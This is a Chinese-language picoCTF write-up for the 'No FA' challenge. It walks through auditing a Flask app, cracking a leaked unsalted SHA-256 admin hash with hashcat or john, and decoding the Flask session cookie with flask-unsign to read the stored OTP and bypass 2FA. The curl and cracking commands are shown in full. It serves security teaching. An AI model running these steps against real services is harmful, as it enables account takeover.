7 min read

picoCTF 2026 No FA

picoCTF 2026 No FA

題目描述:

Seems like some data has been leaked! Can you get the flag?

這題一開始就很明確地給了兩個東西:

  • application code:app.py
  • leaked data:users.db

所以它不是純黑箱亂猜題,而是白箱審計題,題名叫 No FA,看起來像是在講 2FA / MFA,再加上題目說資料外洩,所以第一個合理假設是:

洩漏的資料能不能讓我們繞過 2FA?

題目資訊

什麼是 client-side session:簽章不是加密

這題的核心是一個很多人會弄混的觀念:Flask 預設的 session 到底放在哪、又保護了什麼,

Flask 預設把 session 內容放在 client-side cookie 裡,這個 cookie 會用 SECRET_KEY 簽章,用途是防止使用者竄改內容——你改了,簽章就對不上。

但「簽章」不等於「加密」:

signed(簽章):你不能改,但你看得到
encrypted(加密):你看不到

也就是說,Flask 預設 session 是 signed cookie,不是 encrypted cookie,只要你手上有那個 cookie(用 curl、Burp、devtools 都拿得到),就能把裡面的內容 decode 出來,記住這件事,這題就通了一半:只要伺服器把任何敏感東西放進 session,那個東西對使用者來說就是「可讀」的,而這題偏偏把 2FA 的 OTP 放了進去。

Step 1:下載題目給的白箱材料

先建立資料夾:

cd /mnt/d/Download
mkdir -p nofa
cd nofa

設定網址:

BASE='http://foggy-cliff.picoctf.net:XXXXX'
APP='https://challenge-files.picoctf.net/.../app.py'
DB='https://challenge-files.picoctf.net/.../users.db'

下載:

curl -sS -L "$APP" -o app.py
curl -sS -L "$DB" -o users.db

file app.py users.db

結果可以看到:

app.py: Python script
users.db: SQLite 3.x database

現在方向很明確:

先看 app.py 的登入規則
再看 users.db 裡有什麼資料

Step 2:先看 app.py 的 route

白箱題我通常會先看 route:

rg -n "route|login|flag|otp|2fa|session|password|hash|sqlite|users|admin" app.py

這題的 route 很少:

@app.route("/")
def home():
    ...

@app.route('/login', methods=['GET', 'POST'])
def login():
    ...

@app.route('/two_fa', methods=['GET', 'POST'])
def two_fa():
    ...

@app.route('/logout')
def logout():
    ...

首頁邏輯:

@app.route("/")
def home():
    if 'username' not in session or session['logged'] == 'false':
        flash('Please login to access this page', 'red')
        return redirect(url_for('login'))
    
    flag = "No flag for you!!"
    if session.get('username') == 'admin':
        flag = os.getenv('FLAG')
    
    return render_template("index.html", flag=flag)

這裡可以先整理出拿 flag 的條件:

session 裡要有 username
session['logged'] 不能是 false
session['username'] 要等於 admin

也就是:

我們要變成 logged=true 的 admin

Step 3:看登入和 2FA 流程

登入的核心邏輯:

user = db.get_user_by_username(username)

if user and hashlib.sha256(password.encode()).hexdigest() == user['password']:
    if user['two_fa']:
        otp = str(random.randint(1000, 9999))
        session['otp_secret'] = otp
        session['otp_timestamp'] = time.time()
        session['username'] = username
        session['logged'] = 'false'
        return redirect(url_for('two_fa'))
    else:
        session['username'] = username
        session['logged'] = 'true'
        return redirect(url_for('home'))

這段有兩個重點。

第一,密碼是:

hashlib.sha256(password.encode()).hexdigest()

代表資料庫裡存的是 SHA-256 hash。

第二,如果 two_fa 是 true,會產生 OTP:

otp = str(random.randint(1000, 9999))
session['otp_secret'] = otp
session['otp_timestamp'] = time.time()
session['username'] = username
session['logged'] = 'false'

這裡很微妙,

它把 OTP 放進 session['otp_secret']

在 Flask 預設 session 裡,session 內容會被放在 client-side cookie 中,它會被簽章,避免使用者竄改,但它不是加密。

所以:

不能隨便改
但是可以讀

這就是整題最核心的問題,

接著看 /two_fa

@app.route('/two_fa', methods=['GET', 'POST'])
def two_fa():
    if request.method == 'POST':
        otp = request.form['otp']
        stored_otp = session['otp_secret']
        timestamp = session.get('otp_timestamp')
        if stored_otp and otp == stored_otp and (time.time() - timestamp) < 120:
            session['logged'] = 'true'
            return redirect(url_for('home'))
        else:
            return render_template('2fa.html')
    else:
        return render_template('2fa.html')

這代表:

只要我們知道 session 裡的 otp_secret
並在 120 秒內送回去
就可以把 logged 變成 true

Step 4:看洩漏的 users.db

題目給的 users.db 是 SQLite。

可以用 Python 看 schema:

python3 - <<'PY'
import sqlite3

con = sqlite3.connect("users.db")
cur = con.cursor()

print("[tables]")
tables = [r[0] for r in cur.execute(
    "SELECT name FROM sqlite_master WHERE type='table'"
)]
for t in tables:
    print("-", t)

for t in tables:
    print(f"\n=== schema: {t} ===")
    for row in cur.execute(f"PRAGMA table_info({t})"):
        print(row)

    print(f"\n=== sample: {t} ===")
    for row in cur.execute(f"SELECT * FROM {t} LIMIT 20"):
        print(row)
PY

資料表:

users

users schema:

id
username
email
password
two_fa

admin 那筆資料:

username = admin
email = [email protected]
password = c20fa16907343eef642d10f0bdb81bf629e6aaf6c906f26eabda079ca9e5ab67
two_fa = 1

這裡可以得到兩個判斷:

  • admin 有開 2FA,所以登入後會進 /two_fa
  • admin 密碼 hash 已經外洩,而且沒有 salt

沒有 salt 的 SHA-256 很適合字典攻擊,

Step 5:破解 admin password hash

先把 admin hash 存成檔案:

python3 - <<'PY'
import sqlite3

con = sqlite3.connect("users.db")
cur = con.cursor()

for row in cur.execute("SELECT username, password, two_fa FROM users WHERE username='admin'"):
    print(row)
    open("admin.sha256", "w").write(row[1] + "\n")
PY

cat admin.sha256

用 hashcat:

hashcat -m 1400 -a 0 admin.sha256 /usr/share/wordlists/rockyou.txt
hashcat -m 1400 admin.sha256 --show

或 john:

john --format=raw-sha256 --wordlist=/usr/share/wordlists/rockyou.txt admin.sha256
john --format=raw-sha256 --show admin.sha256

結果:

c20fa16907343eef642d10f0bdb81bf629e6aaf6c906f26eabda079ca9e5ab67:apple@123

現在我們有 admin 密碼:

apple@123

但這還沒結束,因為 admin 有 two_fa=1,登入後還會卡在 2FA。

用剛剛爆出的密碼登入:

BASE='http://foggy-cliff.picoctf.net:XXXXX'
PASS='apple@123'

curl -sS -i -c cookies.txt -X POST "$BASE/login" \
  --data-urlencode "username=admin" \
  --data-urlencode "password=$PASS" \
  -o login_admin.http

sed -n '1,140p' login_admin.http
cat cookies.txt

結果會看到:

HTTP/1.1 302 FOUND
Location: /two_fa
Set-Cookie: session=...

這代表:

密碼是對的
但 admin 被導到 2FA

cookies.txt 裡會有 Flask session cookie。

Step 7:decode Flask session,看 OTP

先裝工具:

python3 -m pip install --user flask-unsign

取出 cookie:

COOKIE="$(awk '$6=="session"{print $7}' cookies.txt)"

decode:

python3 -m flask_unsign --decode --cookie "$COOKIE"

結果會看到類似:

{
  'logged': 'false',
  'otp_secret': '3412',
  'otp_timestamp': 1788098991.6469016,
  'username': 'admin'
}

這裡就是整題最關鍵的地方,

HttpOnly 不是保護這個問題的答案,

HttpOnly 只是避免瀏覽器裡的 JavaScript 讀 cookie,但使用者本來就拿得到自己收到的 cookie,只要透過 curl、Burp、瀏覽器 devtools、proxy,都能看到 cookie 值,而 Flask session 的內容是可 decode 的。

它被簽章,所以你不能隨便改:

把 logged=false 改成 logged=true

這通常需要知道 Flask SECRET_KEY 才能重新簽,但這題不需要改 cookie,因為 OTP 已經被放在 cookie 裡,我們只需要讀它。

Step 8:送 OTP,完成 2FA

otp_secret 送回 /two_fa

OTP='3412'

curl -sS -i -b cookies.txt -c cookies.txt -X POST "$BASE/two_fa" \
  --data-urlencode "otp=$OTP" \
  -o twofa.http

sed -n '1,120p' twofa.http

如果成功,會看到:

HTTP/1.1 302 FOUND
Location: /
Set-Cookie: session=...

這代表 /two_fa 已經把 session 改成:

session['logged'] = 'true'

最後看首頁:

curl -sS -b cookies.txt "$BASE/" -o home.html
grep -Eo 'picoCTF\{[^}]+\}' home.html

結果:

picoCTF{Redacted}

學習重點

整條鏈接起來就是:

users.db 洩漏
-> 拿到 admin 的 SHA-256 password hash
-> 用字典爆出 admin 密碼
-> 登入 admin 後進入 /two_fa
-> OTP 被放在 Flask client-side session cookie
-> Flask session 是簽章,不是加密
-> decode cookie 讀出 otp_secret
-> POST OTP
-> 成為 logged=true 的 admin
-> 首頁顯示 flag

真正的問題不是「OTP 太短可以暴力破解」,而是:OTP 被放在使用者可讀的 session cookie 裡,這就讓 2FA 變成 No FA。

真正的突破點是看懂:

session['otp_secret'] = otp

以及知道:

Flask 預設 session 是 signed cookie,不是 encrypted cookie

Signed 只能保證「你不能改」,Encrypted 才能保證「你看不到」,而這題只需要看得到 OTP,就已經夠了。